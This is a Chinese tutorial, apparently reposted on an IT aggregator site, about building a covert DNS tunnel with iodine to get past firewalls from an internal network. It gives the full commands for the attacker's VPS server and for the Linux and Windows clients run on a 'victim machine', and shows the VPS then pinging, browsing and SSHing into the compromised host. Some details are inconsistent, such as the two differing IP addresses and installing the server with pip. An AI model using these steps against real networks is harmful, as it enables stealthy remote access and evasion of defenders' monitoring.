IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> 内网隐蔽隧道之DNS隧道搭建(iodine) -> 正文阅读

[系统运维]内网隐蔽隧道之DNS隧道搭建(iodine)

目录

DNS隧道

iodine

环境搭建

域名解析配置

安装并启动服务器

安装并启动客户端

客户端为linux

客户端为windows


DNS隧道

DNS隧道(DNS Tunneling)是将其他协议的内容封装在DNS协议中,然后以DNS请求和响应包完成传输数据(通信)的技术。当前网络世界中的DNS是一项必不可少的服务,所以防火墙和入侵检测设备处于可用性和用户友好的考虑将很难做到完全过滤掉DNS流量,因此,攻击者可以利用它实现诸如远程控制,文件传输等操作,众多研究表明DNS Tunneling在僵尸网络和APT攻击中扮演着至关重要的角色。

DNS隧道依据其实现方式大致可分为直连和中继两类。

直连:用户端直接和指定的目标DNS服务器建立连接,然后将需要传输的数据编码封装在DNS协议中进行通信。这种方式的优点是具有较高速度,但蔽性弱、易被探测追踪的缺点也很明显。另外直连方式的限制比较多,如目前很多的企业网络为了尽可能的降低遭受网络攻击的风险,一般将相关策略配置为仅允许与指定的可信任DNS服务器之间的流量通过。

中继隧道:通过DNS迭代查询而实现的中继DNS隧道,这种方式及其隐秘,且可在绝大部分场景下部署成功。但由于数据包到达目标DNS服务器前需要经过多个节点的跳转,数据传输速度和传输能力较直连会慢很多。

实现DNS隧道的关键要点:

  • dns2tcp:支持直连模式的DNS隧道,只实现了简单的DNS隧道,相关命令和控制服务需要自行搭建,且已在kali系统中直接集成。
  • iodine:最活跃、速度最快、支持直连和中继模式,且支持丰富的编码、请求类型选择
  • Dnscat2:封装在DNS协议中的加密C&C信道,直接运行工具即可实现数据传输、文件操作等命令和控制功能。

iodine

iodine是基于C语言开发的,分为服务端和客户端。iodine支持转发模式和中继模式。其原理是:通过TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP建立一个虚拟网卡;两者通过DNS隧道连接,处于同一个局域网(可以通过ping命令通信)。在客户端和服务器之间建立连接后,客户机上会多出一块名为dns0的虚拟网卡。

环境搭建

域名解析配置

因为我们需要在自己的VPS上使用DNS服务,所以得先配置一下域名 —>?域名注册及域名解析

在添加A记录的基础上,再添加一个NS记录(将子域名指定其他DNS服务器解析,子域名字随便自己定)

  • 第一条A类记录,告诉域名系统,"www.ssrc.top" 的IP地址是 "39.100.88.162"
  • 第二条NS记录,告诉域名系统,"12.ssrc.top" 的域名由 "www.ssrc.top" 进行解析。即12.ssrc.top还是会被解析为33.100.88.162

此时,我们能ping通www.ssrc.top,说明A记录配置正确

?然后在我们的VPS上执行以下命令监听UDP53端口

tcpdump -n -i eth0 udp dst port 53

在任意一台机器上执行 ?nslookup 12.ssrc.top 命令,如果在我们的VPS监听的端口有查询信息,说明第二条记录设置成功

安装并启动服务器

在vps中安装iodine的服务端,因为为linux系统,直接执行以下命令进行下载

pip install iodine

执行以下命令启动服务端

iodined -f -c -P root@123456 172.16.10.1 12.ssrc.top -DD
    -f:在前台运行
    -c:禁止检查所有传入请求的客户端IP地址
    -P:指定密码
    -D:指定调试级别。-DD指第二级,D的数量随等级增加
    这里的172.16.10.1是自定义的局域网虚拟IP地址

运行之后VPS上会多一个虚拟网卡地址,地址为刚设置的地址

安装并启动客户端

我们在受害者机器上运行客户端

客户端为linux

kali中自带了iodine,如果没有则先下载再进行安装:https://github.com/yarrick/iodine

cd iodine-master
make && make install

然后执行下面命令连接服务端(需要root权限),如图连接成功。

iodine -f -P root@123456 12.ssrc.top

如下,代表连接成功,此时服务端也会有数据反应

?连接成功后,客户端上新建了一个dns0的网卡,IP地址为172.16.10.2,与服务端生成的虚拟网卡的地址处于同一网段

此时vps和客户端相当于处于同一内网环境

1. vps可以直接ping客户端地址172.16.10.2

?2. vps访问内网的web服务

?3. vps ssh连接客户端

客户端为windows

下载:iodine-0.7.0-windows+TAP

iodine.exe使用需要先安装TAP适配器,所以安装openvpn-install-2.3.13-I601-x86_64.exe,安装时只选择TAP Virtual Ethernet Adapte

?将iodine.exe以及dll文件上传到机器上(服务端使用iodined,客户端使用iodine)

安装完TAP后,执行

iodine.exe -f -P root@123456 12.ssrc.top

如下代表连接成功

?此时能看出多出了一张网卡172.16.10.2

此时vps服务端能ping通客户端,但是客户端ping不同服务端不知道为啥

此时在客户端的网段连接中是看不到任何信息的

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2022-05-21 19:18:51  更:2022-05-21 19:21:38 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 15:42:08-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码